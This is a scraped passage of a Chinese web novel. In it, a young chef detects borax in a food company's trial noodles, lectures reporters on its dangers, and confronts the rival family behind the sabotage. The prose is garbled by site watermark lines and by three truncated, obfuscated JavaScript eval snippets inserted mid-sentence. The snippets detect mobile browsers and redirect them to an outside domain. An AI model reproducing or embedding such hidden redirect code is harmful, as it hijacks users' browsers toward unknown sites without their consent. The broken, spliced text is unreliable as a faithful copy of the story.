岳宁脱掉了身上的工作服，和崔慧仪一起去办公楼西侧的测试厨房。测试厨房，也是立德食品的研发部，研发部的经理端来了，他们按照岳宁方子调配的调味包，和新制作的面饼。 “这两个面饼是多加了1%的谷朊粉，粗细不同，这款则是添加了……”一共有六款面饼。 “那行，我们全部炒一遍，调出最合适的面条？” 岳宁接过崔慧仪递过来的围裙，开始做茶餐厅的豉油皇炒面。 第57章 食品安全 岳宁先用开水泡了一块面饼，听研发那位说加了谷朊粉，这其实就是小麦中提取的蛋白，俗称面筋，添加之后能增加面的劲道。 面泡散了，岳宁捞了一根起来放在碟子里尝了一下：“还是差了一点，这个配方还是太软，炒的时候容易散，吃的时候没有那种干爽弹牙的感觉。” 这样同配方的另外一款宽面也不行了。 另外一个配方是像竹升面一样加了全蛋，泡了之后，还挺滑爽，岳宁沥出面条，说：“另外一块面饼也泡上。” 岳宁站在灶台前，这个灶台不是酒楼的大火力灶，就是家庭的那种燃气灶台。 既然叫方便面了，泡着也能吃，煮了也能吃，炒着也能吃。 按照茶餐厅的标准，这个炒面里要加豆芽和韭菜，他们只是测试面条，就没有这些步骤了。 岳宁热锅，撕开第一个油包，油包是的鸡油、猪油和葱油调制，呈半凝固状态，油入锅立马化开，香气飘出，倒入面条，用筷子拨动，像干炒牛河一样，煎出干香气，焙干面条表面水分，炒面才好吃。 大约半分钟，她用筷子翻动面条，两边都煎过，再打开调味包。 调味包里，配上了干炒牛河用的滴珠油，还有鸡肉和猪肉炒过的酱料，这就是为什么这个方便面叫豉油鸡捞面了。 这个调料下去，面条上色，油光红润，好像是酒楼里炒菜，炒出来的锅气。这实际上是滴珠油里红糖熬过之后的焦糖香气。跟酒楼大厨炒的没法比，但是用在方便面的调味上绰绰有余了。 两份面炒好，岳宁尝了一下，她说：“我觉得细一点的更好。” “但是，加了鸡蛋之后成本太高了。”研发部经理说，“所以我们又试制了这个配方。您试试！” “好！” 岳宁炒了最后两块面饼，面条劲道有弹性，除了没有第二份的鸡蛋香味，没什么毛病。 如果有这么好的面条，为什么不第一个拿出来？ 岳宁从橱窗里拿出一款，现在在售的面条，反过来看包装，她倒是一直没有在意这个年代食品的包装，配料表这么干净？ 岳宁转身问崔慧仪：“慧仪姐，我能看一下配方吗？” 崔慧仪跟那个经理说：“把配方给岳小姐。” 那个经理有些为难，岳宁笑了一下：“慧仪姐，如果为难的话就算了。这个速食面，方子你们用。但是宝华楼就不来沾光了。还 有配方授权费，和以后的使用费，我也不要。” “宁宁，你这是什么意思？”崔慧仪着急了。 “我自己做面条，加糊化淀粉加谷朊粉加鸡蛋，甚至加一些东西，增加面条的稳定性，让面条更加爽滑。但是如果你们用硼砂增加面条的劲道，如果你们用环氧乙烷杀菌？”岳宁笑了一声，“那我还是不要参与了，免得哪一天一把火烧到自己身上。” 崔慧仪看了这个经理一眼，跟岳宁说：“去我的办公室。” 说着崔慧仪沉着一张脸带着岳宁走出了测试厨房，上了二楼进了办公室，她跟秘书说：“让库房把最近车间的配料领用清单给我拿过来，另外把测试厨房，自行外购的材料清单和领用清单也全拿上来。” 崔慧仪拿出了手帕压了压额头的汗，她这才想起什么来，说：“宁宁，喝咖啡还是茶。” “喝茶。” 还没等崔慧仪给岳宁泡茶，一个六十来岁的男人走了进来：“二小姐，出什么事了？” “我这几天逼着研发部的开发适合做捞面的面条，今天早上研发部的林乐康让我试试这个新面条，我试过了，三款面条都不错，让岳小姐过来定一下，岳小姐要看配方，林乐康不说话了。”崔慧仪说，“我怀疑面条里加了什么乱七八糟的东西。” “我们不就是试来试去，不用鸡蛋，我们就试不出那样的面条，用了鸡蛋，成本上去，市场上根本无法竞争。圆仔面才用现在这个配方。”这位想了想说，“车间没有接到改配方的通知，没动过。” 门口一个穿工作服的人敲门，手里拿着一沓单子：“崔总，您要的单据。” 崔慧仪几乎是跑过去，接过单子，开始翻阅。 崔慧仪翻完，她松了一口气，岳宁问：“如果这个面条方子是因为我是外人，不想透露，我能理解。那姐姐自己先查一下。” “没有什么不可以跟你说的。今天幸亏是你，要不然，真出了事……”崔慧仪按下电话，“乐康，你来我办公室。” 打电话叫了研发经理过来，崔慧仪介绍：“这位是我们厂的厂长，也是我外公手里的老人了，彭大安先生。” “彭先生好。” “岳小姐好！” 终于，他们等来了那位研发部经理，那位踏进办公室：“崔总。” “方子可以拿出来了吗？”崔慧仪说，“乐康，你是我挖回来的。我是什么想法 ，你不会不知道，对吧？ “崔总，实际上外头很多面条都添加硼砂，添加硼砂的好处…… “好处是硼砂可以让面条细腻，柔韧，有弹性，而且还不容易坏。岳宁说，“那坏处呢？你做食品的，不会不知道吧？ “又要爽弹，又要低价，又要我马上拿出解决办法。林乐康抹了一下脸，“崔总，抱歉！这个研发部经理我做不下去了。我引咎辞职。 “我同意。崔慧仪立刻同意了，还当着他的面打了劳资科的电话，“Lisa，研发部的林乐康前来结算薪资，另外多结算半年薪资，作为补偿金。 林乐康一脸惊讶地看着她，崔慧仪拿起那些单子：“你以退为进吗？你认为我要回内地办厂的情况下，我必然会留你？抱歉，我不敢。你们研发部里，没有一笔开销是用来买硼砂的支出。我不敢想，作为研发部的经理，跟我一起做起圆仔面的人，要是在我内地和港城两头跑的时候，做起假来。我该怎么办？原则性问题。幸好没有酿成大祸，没有砸了立德的招牌，好聚好散。 岳宁站起来：“姐，你应该还要开会，我先走了，还有晚市呢！ “宁宁，抱歉！崔慧仪无奈地摊了一下手，“我安排车送你！ “OK。 岳宁下楼坐了立德的车离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我能看一下两位的调查资质吗？”上辈子都有富豪被假冒的专家给骗了不少钱小心点的好。 两人出示了证件其中一位说：“岳小姐现在可以回答我的问题了吗？” 打电话到电视台而且还提自己了明显是想要把事情闹大。 岳宁据实以告：“我在现场并且这是我和立德食品的合作一起开发豉油鸡捞面我对目前的圆仔面面饼的口感不满意所以要求她开发出更加劲道的面饼今天我去测试三款面饼我察觉其中有一款面饼有问题就提出看全部配料。崔慧仪女士决定进行调查我在的时候从她调阅的数据来说并没有涉及上市产品。这是我所知道的全部情况。” 两位调查员又问了一些问题岳宁告诉两位自己刚来港城第一次去立德食品她能提供的信息实在有限。 岳宁和岳宝华送两人离开她的热度很大 记者涌了进来话筒戳到她嘴边：“岳小姐请问立德食品涉及使用违规添加剂是否属实？” 第58章 食品安全危机 岳宁面对镜头，脑子里千头万绪。自己的每一句话，对崔慧仪对立德都有很大的影响。 岳宁当机立断：“第一个问题，立德食品是否使用了使用禁止使用的有毒添加剂？我的回答是‘是。’，第二个问题，立德食品的违规添加剂是否是公众事件？我的回答：‘不是。''因为，今天的事件，是在研发部门的一个新品，三个配方中的一个配方。第一个配方是添加合规的小麦蛋白，结果口感不佳。第二个配方添加了鸡蛋，鸡蛋的话成本比较高。还有第三个配方，面条又爽又弹。我还以为是添加了鸡蛋白做的，单一的鸡蛋白比全蛋面更加劲道。那个研发经理说没有，这款价格更加低廉，我一下子反应过来，这是加了什么东西了。关键是我和崔慧仪已经吃了好几口下去。你知道那时候我是什么心情？” “什么心情？” “就像吃了狗屎一样。而崔慧仪吃的这口狗屎，还是他们自家的。” 记者和围观的人都大笑起来。 “崔慧仪不知道吗？”有人问。 岳宁无奈地说：“她要是知道，你认为，我和她能吃那面？你去问问胜华楼的厨子们，他们会吃阿旺婶拆的鱼，做的拆鱼羹吗？虽然我知道一次尝那么一小口不会有大事。可心理作用，我现在就觉得吐又吐不出来，很难受。当时崔慧仪听见我说，里面应该添加了硼砂，她火上来了，骂她的下属。你知道她的下属，怎么回答的吗？” “怎么回答？” “那个研发部经理说：‘又要爽弹，又要低价，又要我马上拿出解决办法。’这句话再次证明了，一分钱一分货，过分追求低价又要求高质素，那么这个东西，我们要生点心了，要问一句，为什么？也许科技进步，也许工艺改进，还有可能就是加了这样有毒的东西。” “那你认为立德食品，目前市场上的圆仔面，有这方面的问题吗？” “我的建议是，等相关部门检测结果。这件事发生了，食环署肯定会对市场上的圆仔面都查一遍。那时候就真相大白了。我的个人意见是最没用的，要相信科学和证据。虽然，这件事的起因是我嫌弃圆仔面的面饼不够弹，才叫他们改良面饼。”岳宁想了一下，“如果大家有需要，我可以跟大家说一下什么是硼砂？硼砂的危害是什么？为什么不法之人要在食品里添加硼砂，最容易违规添加硼砂的食品有那些？” “想听。你快说呀！围观群众问。 岳宁才不管是不是记者要求，她一直非常乐于科普这些知识。 她说：“首先，硼砂就不是一个食品添加剂，而是一个对人体有毒的化工原料…… 在未来的几十年里，那些致力于科技与狠活的企业，都想搞出有硼砂这样，既有改善食物颜值，还能改善食物口感，但是无毒的添加剂，屡屡失败，也正是这样，即便是明令禁止了几十年，被世界卫生组织列为一级致癌物的硼砂，依旧时不时上新闻。 岳宁一个一个问题说下来，当大家听到硼砂可以让病猪肉看上去新鲜，让粽子、牛肉丸口感更加Q弹，让面条更滑爽更白更不容易坏，让河粉粿条肠粉更白更有韧性。 “总之，硼砂就像是引诱良家堕落的渣男，原本这些朴素的食物，经过它的改造变得好看又好吃，但这些食物也有毒了。 众人面面相觑，有人问：“那我们平时买食品里会有这种东西吗？ “我刚来港城，也不熟悉啊！只是跟大家分享一下我的知识。我想出现了这个问题，食环署肯定会严查的，看新闻吧！岳宁话是这么说，实际上刚才那个林乐康已经说得清清楚楚了，外面有很多面条添加了硼砂。 这不是几十年后，食品安全做得非常到位的港城。这是当下，黄赌毒横行，警方拿九龙城寨毫无办法的港城。在食品中添加硼砂这种事肯定有。她只要提了，市民自然会倒逼食环署去查。 既然想要利用她的影响力，把事情搞大。那也行，她就索性闹闹大，让这件事成为真正的公共事件，彻底查一查当下硼砂添加情况，也算是做一件好事。 “外面的情况我不知道，请大家放心，我们家的牛丸，绝对是我这个可以扛得起壮汉的牧羊女，手打出来的Q弹。她秀了一下自己手臂的肌肉，“今天就这样了，吃了硼砂面条的我，需要一个人静静。 岳宁进宝华楼，宝华楼的晚市也即将结束，岳宝华带着岳宁上楼去，岳宁坐爷爷办公室里：“爷爷，我刚回来的时候没跟您说这件事，是认为这件事没有出立德的厂门，甚至没有出立德的测试厨房，慧仪姐姐也已经采取了措施。 “是崔家在斗呢！崔家昌出来道歉了。上楼去，有精力就看一眼新闻，没精力就随便它了，早点睡觉，你也累了。你今天这样，已经是尽力帮崔慧仪了。前提是圆 小说全网首发无弹窗免费阅读ｃａixs?(请来才 小说 看最新章节 完整章节) 仔面自己要争气。真被查出来，那也没办法。 电话铃声响起，岳宝华接起电话，说：“宁宁，君贤找你呢！ 岳宁过去接电话，乔君贤声音有些焦急：“你怎么样？她说很抱歉。 岳宁反应过来，这是崔慧仪怕这个时候联络她，会给她带来问题，又放心不下，所以让乔君贤来打听。 她说：“我这人老实，有一说一…… 她跟乔君贤把自己回答记者的问题全说了：“我实话实说了。 乔君贤笑：“岳宁…… 小说更新，记住域名ｃａｉｘｓ．ｃｏｍ?(请来才 小说 看最新章节 完整章节) “怎么了？岳宁不知道他突然这么叫她是什么意思？ “你真好。乔君贤轻声说。 岳宁微微一愣，立马说：“那还用说吗？大家公认的。 电话那头的乔君贤不说话了，岳宁说：“还有事吗？没事我去洗澡了，晚市忙活了这么久。 “去吧！ 岳宁上楼去，打开了电视机，拿了衣服进去洗澡，洗完澡，她擦着头发出来看电视，调了两个台，终于看到了崔家昌的画面，崔老板带着满满的愧疚和诚意，在镜头里说：“我很遗憾，崔记下属的立德食品，出现这样大的食品安全事件。这几年立德发展很不错，我将立德食品放手给崔慧仪经营，一直认为，在她的经营下立德食品蒸蒸日上。没想到发生了这样的事。无论如何，我是崔记的董事局主席，立德食品发生这样的事，我难辞其咎！ 说着他还深深地鞠躬，这可真是诚意满满，一时间岳宁竟不知道，这是他学日本那些**企业道歉呢？还是日本**企业借鉴了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915415|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个道歉。 真要是出现严重食品安全问题，鞠躬后，没有解决问题，顶个屁用？问题还没到那么严重，就鞠躬认罪了，这是想干什么？ 岳宁放下毛巾，拿了梳子扒拉两下，停下了手。 不对，这件事不像是偶然发生的。很明显，研发端发生这种事，要捶死崔慧仪太难。自己从北京回来的时候，明确拒绝了崔家昌和他那个二奶，他们俩恨上了？ 如果这个林乐康被崔家昌收买了，他通过这次新产品的开发，将问题面用于新产品上。这个新产品又是立德和宝华楼联名的，等上市销售了一段时间再爆出面饼里添加了有毒的添加剂。 到时候，不仅仅是立德食品受损，还有宝华楼也受连累？ 立德食品虽然隶属于崔记，连厂长都是项老先生那个年代的老 人，崔慧仪接手之后，踩准了方便面这条路，蒸蒸日上。所以崔家昌说是不会要老婆娘家的立德，实际上？ 岳宁不去管了，略微去吹了两下头发，调了闹钟，睡觉去。 她两辈子都是忙碌命，到了六点就起床，打开了录音机，准备播放英文卡带，听课文背课文。 洗脸刷牙都能听英文，洗漱后，她在阳台上朗读英文课文，自己的英文还行，口语也可以，用于应试，就有应试的一套，无论那个国家或者地区，学生课文有那个时间段，当时的政府需要宣传的内容，这方面错了，就别想拿高分了。 把课文囫囵吞枣地背一遍，再从课文里整理脉络，答题起来就会顺畅很多。 岳宁看见对过二楼，穿着圆领背心的杨志杰，正在刷牙，她停下跟他挥挥手。 阿杰刷好牙，拿毛巾擦了嘴：“我下午有空，有什么需要帮忙的吗？” “有。我都整理好了。” “行，下午两点半，我过来。” 岳宁比了个手势：“谢谢。” “客气了。” 晨读结束，岳宁进房间，打开录音机，调到FM频段，边听新闻，边做物理题。 她昨晚的那些话果然让人们的目光转向是市场上的食品安全问题。港城的记者绝对是速度最快的记者，就昨天晚上，岳宁说了之后，他们立刻去那些晚上还开着的店铺商场买相关的产品。 菜市场一般早上五六点就开了，很多摊主还根本没有看新闻，也不知道这条新闻对他们会有什么影响，他们如往常一样，摆出了光滑面条、超级Q弹的撒尿牛丸…… 测出来的结果，让公众瞠目结舌，无论是鲜制，还是干制的云吞皮、面条，还是说牛肉丸，都有检测到硼砂。商超的结果好很多，十几款面条中，只有两款鲜面测出含有硼砂。新闻特地陈述了，货架上的三款圆仔面，没有测出含有硼砂。 菜市场成了重灾区，几乎六成都有问题，甚至有一个摊贩说出：“肉丸都加硼砂，不加硼砂，肉丸颜色怎么能好看，怎么会Q弹？硼砂就像盐一样，就是调味品。” 崔慧仪也出来说话了：“立德自查已经结束，领用单据不存在硼砂，库存所有批次的圆仔面，经过连夜检测，没有测出硼砂。现在等食环署的结果。” 新闻里说今天早上十点，食环署将开新闻发布会。 这件事，终于从立德测试厨房的样品研发的违规，变成了立德食品的危机，现在成了港城食品安全问题…… 第59章 会会崔家昌 岳宁在新闻里解释硼砂的片段声情并茂，被蔡致远叫去拍食品安全的公益广告。 宝华楼提前一天贴出告示，并逐一通知已经订桌的客人，宁小厨请假一天，如果要指定宁小厨制作的菜品，可以另行预约。 虽然有人失落，但是想想人家小姑娘从宝华楼重开之后，都没歇过一天，而且又有哪几家酒楼说是可以指定厨子的？ 蔡致远这个痴线，看见她在新闻里秀了一下肌肉，还真让她现场表演手打牛肉丸。 为了追求效果，她甚至模仿上辈子莫女神在电影《食神》里的样子，龇牙咧嘴打牛肉泥，蔡致远笑抽在现场。 岳宁早上六点就到了片场，到十点就拍完了，卸了妆。去蔡致远办公室，找崔慧仪。 本该在风暴中心的崔慧仪，现在气定神闲地跑蔡致远办公室闲聊。 见岳宁过来，她站起身，跟蔡致远说：“我们走了。” 蔡致远站起来，展开双臂：“宁宁宝贝，不跟哥哥抱抱？” “哥，你来宝华楼厨房吧！” 蔡致远一愣：“啊？” “我烧菜缺油的时候，到你身上刮一层，就够炒一盘菜了。”岳宁嫌弃地看着他，“你才几岁，别跟中年大叔一样油腻腻得，好不好？” 这时苏小姐敲门，岳宁跟苏小姐点头：“苏小姐好！” “岳小姐好！” 这时蔡致远的表情已经从嬉皮笑脸换成了职业，他对岳宁说：“周六晚上见，拿出你的本事来。” “知道了。”岳宁点头。 岳宁和崔慧仪一起搭电梯下楼，崔慧仪要带岳宁去辉煌看看。 在乔叶应漪的运作下，鸿安大酒店表达了对辉煌的兴趣，崔家昌见有机会了，还要跟鸿安谈。 乔太让岳宁先去看看，确定要不要。岳宁认为自己一个人去，有点莫名其妙，而且容易被猜出意图，到时候那个崔家昌乱开价就不划算了。 刚好这两天硼砂事件闹得沸沸扬扬，崔家昌诚恳道歉，立德的大老板都道歉了，眼见立德被扣上使用有毒添加剂的帽子。 记者采访岳宁的一段新闻，却让整件事的风向转了过来。 崔慧仪更是在公开场合表示，崔家昌不参与立德食品的日常经营，不知道立德食品的管理体系，在没有弄清楚原委之前，这样道歉，有误导公众的嫌疑。 岳宁跟崔慧仪一说，崔慧仪打探到了她爸的行程，就约了今天， 以耀武扬威的姿态，去会会她爸，当然主要还是要让岳宁去看辉煌。 岳宁坐上崔慧仪的车，崔慧仪眉飞色舞：“宁宁，我现在要加紧时间推出岭南豉油鸡捞面了。我就说用二号配方，用鸡蛋面，加上你的口碑，打的口号就是：贵一点，好吃一点，安心一点。把这个系列跟圆仔面系列分开，走中高端。” “可以。”岳宁点头，别看就是方便面，也有中高低端，而且市场庞大。 两人一路聊，车子到了辉煌大酒楼的门前，岳宁往前面看去，前面是无敌海景，往后看去，一栋八层楼高的大厦，酒楼占了一二层。 迎客门厅是米黄大理石和闪瞎人眼的金色金属装饰，头顶还有一盏水晶灯，真是应了辉煌这两个字。 脖子里系着丝巾，穿着类似空姐的侍应生走了过来：“二小姐。” “崔先生在吗？”崔慧仪趾高气昂地问。 对上她爸，崔慧仪绝对有恶毒女配的气场。 “在。” “二太在吗？” 这个侍应生似乎有点无奈说：“二太也在，三少爷也来了。” 崔慧仪翻了个白眼，往二楼走：“好好的一家酒楼，经营成这样，一家三口还在这里享受天伦之乐？” 岳宁一路跟上，到了二楼，装修更加气派，大玻璃窗面对海景，胡桃木、大理石、彩色琉璃玻璃隔断，确实是高端酒楼的风格。 当然跟自己的宁宴，高端中又有中式风格，青砖铺地，小桥流水庭院，还是有差距的。 那不是自己现在兜里没钱吗？不能要求太多。 岳宁见崔家昌从里面走出来，崔慧仪抬腕：“呦，这都快十一点了呀？就算没到用餐高峰，怎么一个客人都没有？” “崔伯伯，又见面了。”岳宁跟在崔慧仪身后走过去。 岳宁见崔二太俞婉媚带着一个高高瘦瘦的男孩子从里面走出来。 “爸爸，你这是辉煌没有人气，带着小老婆和儿子来旺旺场吗？”崔慧仪一脸小人得志的样儿，“你这是方向搞错了。最大的问题是经营的本事。你替立德乱道歉做什么？辉煌才是你要道歉的，坐拥这么好位子，花了那么多的钱下去，厨子比客人还多。怎么跟崔记的股东交代？” “崔慧仪，你不会说人话是吗？”崔家昌怒喝。 崔慧仪翻白眼：“您做人事了吗？不生气了，跟你生气我犯不着，今天我是来看看辉煌没落的样子 ，让我也能出口气，舒坦舒坦。 “你来看笑话？你还是不是崔家的人？你还是不是我女儿？崔家昌质问崔慧仪。 崔慧仪冷笑一声：“这话得问你自己，立德一点小事，也不是你在管，你想干什么？你自己想想，你是不是个人？再来问我。 说完，她拉着岳宁：“宁宁走，我带你好好看一圈，这么大的酒楼，去年才装修，花了两百五十多万，你知道…… 岳宁跟着崔慧仪，听见这水晶灯多少钱，不禁赞叹：“这也太烧钱了，这得卖多少烧鹅才能赚回来。 “其实，很简单的啦！以前我姐经营的时候，每天流水…… “崔慧仪，你够了没有？崔家昌忍无可忍。 崔慧仪再次走到崔家昌面前：“你说呢？ 看着张牙舞爪的女儿，再看看她身边那个俞婉媚的女儿更是出色，他自己的儿子呢？ 都十三岁了，哪有一点男子汉的样子？ 他的儿子明明跟两个女孩子都有一半的血缘，怎么就一点都不像呢？ 崔家昌心里暗暗叹息，要是女儿和儿子的性格能力换一换就好了。这些姑娘家家的，要这么强做什么？ 岳宁却在这个时候，一声冷笑，看向崔家昌：“崔伯伯，我今天可不仅仅是来看笑话的，更是想要当面问你一句，我们之间有冤有仇吗？你为什么要害我？ “我没想害你，真的没有！崔家昌连忙解释。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915416|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你当我是傻子，这次刚好我察觉那块面饼有问题，要是没有问题呢？ 面对岳宁的目光，崔家昌看向了俞婉媚。 这次他是从俞婉媚的嘴里得知立德食品出了硼砂问题，他知道俞婉媚的眼睛盯着立德。作为一个男人，他还真不至于要盯着亡妻留下来的这点资产。 然而，这两年崔记调味品在市场上销售只能说平平，赚点小钱。原本风雨飘摇的立德食品在女儿的经营下风生水起。 立德的规模快要超过崔记了，他心头也不免动摇了，速食面产品单一来钱还快。 他讨厌俞婉媚贪得无厌，更没想到她原本的计划是等女儿和岳宁的豉油鸡捞面上市之后再造势，说这个牌子的面饼含有硼砂。 她恨慧仪也就算了，为什么要连她的亲生女儿也害 ？ 她轻描淡写：“我这是帮你不这样你怎么拿下立德？圆仔面上又没机会。” 崔家昌不想得罪岳宁在内地他见过岳宁的手段。 她到了港城虽然他们没有碰面就她拆穿丁胜强的招数他也觉得这个小姑娘未免也太厉害了。 所以他让林乐康打电话到电视台的时候说明白是岳宁发现了面饼有问题。 他以为岳宁为了保护她自己的名声会顺着林乐康的这句话 女儿陷入**陷阱自己刚好收回管理权。 他怎么都没想到岳宁会刁钻到这种程度。她另辟蹊径撇清了她自己而且还把原本在风暴中心的立德食品给拉了出来。 按照以前发生过的类似事件立德食品根本没办法洗脱罪名哪怕立德上市的产品没有添加有毒化工原料至少也证明了立德是有添加的想法。更何况立德食品的母公司自己出来道歉更加坐实了这件事。 岳宁先认了硼砂是事实还说明是试制的三种面饼之一。告诉公众试制离上市还远。 她看似玩笑地说要不是圆仔面不行她不会让立德食品改良面饼。这一句被人解读成要是立德用了硼砂圆仔面面条还会这么软吗？ 最绝的是她描述她和女儿吃硼砂面条想吃屎的表情各大电视台一直在轮番播放。 还说她虽然躲过了阿旺婶的鼻涕水鱼终究没有躲过硼砂面条。 她这么一句话也把女儿彻底拉了出来公众愿意相信崔慧仪不知情。食环署紧急检测结果也显示市场上的圆仔面没有这个问题。 她又把火源往外引烧到了外面去让公众的目光聚焦在相关的食品上。 这样一来立德食品和女儿的声誉非但没有受损反而更好了女儿还趁机放出风声立德跟宝华楼合作推出宁小厨系列岭南烧腊味捞面第一款豉油鸡面决定用成本高的鸡蛋面。 有了胜华楼的低价鼻涕拆鱼羹也有外头现在还没平息的硼砂肉丸硼砂面。很多人认为价格贵一点有什么关系关键是要干净、卫生、安全。 都在喊让立德食品快点推这款面上市而自己因为这个道歉变得里外不是人。 这样的年纪这样的手段还有这样的背景得罪她不是找死吗？ 崔家昌看着俞婉媚说：“我从头到尾都没想牵扯你进来我也没想插手立德是她说的。” 岳宁勾唇笑：“二太怎么这么不乖？” 第60章 陆大厨的手艺 岳宁说完，再次看向崔家昌：“崔世伯，她是你的二奶，你的宠物，宠物咬人，最大的责任在主人，是她的主人没能管好她。” 岳宁转身，却见崔慧仪脸色发白，她拉住崔慧仪说：“慧仪姐姐，有客人来了，我们不耽搁辉煌做生意了。” 门口有几个游客走进来，看见里面冷冷清清又往外走了。 岳宁拉着崔慧仪往外，背后俞婉媚的声音：“不是说没有关系吗？各为自己的利益而已。” 岳宁回头，目光像是淬了毒液一样盯着这个女人看。她一直告诉自己，不去恨，活好自己就行，今天这个女人又把她童年用圆珠笔戳那张照片的愤怒给勾了起来。 俞婉媚被她看得心里发毛，后退了一步。岳宁收了眼神，笑看崔家昌：“崔世伯？” 崔家昌反手就是一巴掌，甩在俞婉媚的脸上：“别再给我惹事了。” 清脆的巴掌声，俞婉媚被打得侧偏了头，岳宁见边上的男孩子眼里露出畏惧的眼光，略微往后退了一步。 没用的东西。比自己上辈子的弟弟都不如。上辈子她爹妈出面要钱，她弟弟还敢龇牙咧嘴对着她狂吠。这个？看见亲妈被打，就这种反应？ 岳宁冷笑一声：“晚了。” 说完，她拉着崔慧仪下楼，出了辉煌的门口。 崔慧仪的手冰冰凉，掌心还带着潮湿，估计崔慧仪现在也开不了车，岳宁问：“姐姐，我们海边走走？” “嗯。” 两人走在海滩上，岳宁问：“是不是平时跟你爸再闹，你还是觉得他是你爸？你从来没想过，你爸爸为了抢夺立德，听见俞婉媚勾结林乐康，想要等豉油鸡面上市了，再捅出立德用硼砂，他第一时间不是想，那样做的话，你会坐牢。而是，他居然听了那个女人的话，让林乐康打电话到电视台？” “那个女人有多毒，我不管。但我爸他……”崔慧仪说不下去了，她整个人的情绪都没有稳定下来。 “抛开父女情分，你爸这么做，你觉得奇怪吗？”岳宁问她。 崔慧仪停下脚步看着岳宁摇头。 “那不就是了。既然知道他做得出来，还伤心什么？心里不要再把他当成父亲就好了。他也确实不是你的父亲。他只是那个男孩子的父亲。” 就像自己上辈子的爸妈一样，接受父母对自己没有爱，其实很难。 崔慧仪带着哭腔说：“你不懂……” “我怎么不懂？那个女人是抛下我和我爸的人。要不你认为她在北京的时候为什么一直看着我？”岳宁轻笑着说。 崔慧仪含着眼泪的双眼看着岳宁岳宁耸肩：“就是啊！你爸想送你进监狱我妈想毁了我。你爸想要立德我妈认为我因为恨她想要报复她所以我跟你合作。其实她算个什么东西？值得我花那么大精力吗？” “宁宁！”崔慧仪拿出手帕擦了擦眼泪“那你？” “我在北京也认出她了我私下警告过她也警告过你爸。我不希望我爷爷知道害死我爸的那个女人就生活在他身边还接受过他的帮助。”岳宁笑着说“还记得我说的话吗？” “你说那么多话我都记得但是不知道哪句话？” “食品厂的张师傅说虎毒不食子她是连亲生女儿都不放过的人。你爸也一样不要再对他们抱有幻想。”岳宁跟她一起走。 崔慧仪看着大海：“他们一步步逼着我们报复。” “这怎么能叫报复呢？这叫防守。”岳宁说道。 崔慧仪深呼吸让自己平静起来她叹了一口气：“你知道他最近为什么着急着卖辉煌吗？” “嗯？” “崔记销售一直不太顺畅他就想要低价促销打开市场刚开始还挺有效果他压得存货挺多资金有压力而且欠了供货商不少货款经不起辉煌这么消耗了。必须甩掉辉煌这个包袱专心在崔记上。”崔慧仪说道“这不把念头动到立德上来了。” “姐如果是崔记有问题而且你爸手里还拿着立德那么多的股份我觉得你得上点心了。你爸对立德有想法难道别人不眼馋立德。你们姊妹俩手里的股份外面的人不会想但是他们会琢磨你爸手里的股份。如果对方暗中逢低吸纳崔记的股票 上辈子岳宁就遇到过股权纷争宁烧腊上市遇到背刺其中一项就是B轮融资里的一个投资者自己遇到资金问题为了能够保住他的主业出售了宁烧腊的股权新进入的股东进来就指手画脚甚至想要把她这个创始人赶走那一阵她内外交困。 “我……我去想办法自己没那么多的资金可以找朋友一样立德会有人进来不如找一个自己放心的他也放心我的人进 来。”崔慧仪重重点头。 到底是崔慧仪，有慧根的。岳宁见她已经满血复活，准备战斗，岳宁拉着她的手：“姐，我饿了。” 崔慧仪笑出声，看了一下远处，说：“要不姐带你去陆大厨的御龙轩吃饭？” “好啊！”岳宁雀跃地说。 有些人一厢情愿得让人头疼。 这几天自己的热度不减，这位陆大厨眼馋她的流量，又端着架子，从一开始，意思上自己只能做他的徒孙，还埋怨她不懂事，没有上门去，昨天他说：“想跟我学也不是不可以。既然是我嫡传弟子的名义，不能只占个名头，那是得认认真真跟在我身边，好好学两年，做到真真出师，才行。” 之前说吃饭，苏小姐最近都比较忙，蔡致远定不下她的行程，这几个人里，岳宁最想感谢的就是苏小姐，但是蔡致远这个八公，非得要这个陆大厨过来，想要看他的笑话。蔡致远去约陆大厨，陆大厨就当自己想通过蔡致远跟他拜师学艺。 去看看他引以为傲的摆盘到底是什么样的吧？ 虽然两家酒楼离得不远，崔慧仪懒得回过头再来开车。就开了车子过去。陆大厨的御龙轩属于高端酒店的中餐厅。 餐厅在酒店的三楼，海景是必须的。内部装修倒还没有辉煌那么金碧辉煌，这个点大厅里的上座率差不多有八成，工作日午市，这里不是中环那种中心商业区，这个上座率确实很好了。 海景的位子已经没有了，崔慧仪要了一个侧边靠窗的四人卡座，岳宁打开皮质封面的菜单，里面是印刷精美的菜单，图片确实很漂亮，但是也不至于到摆盘精美的程度。 这不就是普通的法餐摆盘吗？ 侍应生过来，等着岳宁点单，岳宁还在翻阅菜单，听侍应生说：“岳小姐，这个古法焖鲍鱼很不错，正宗的日 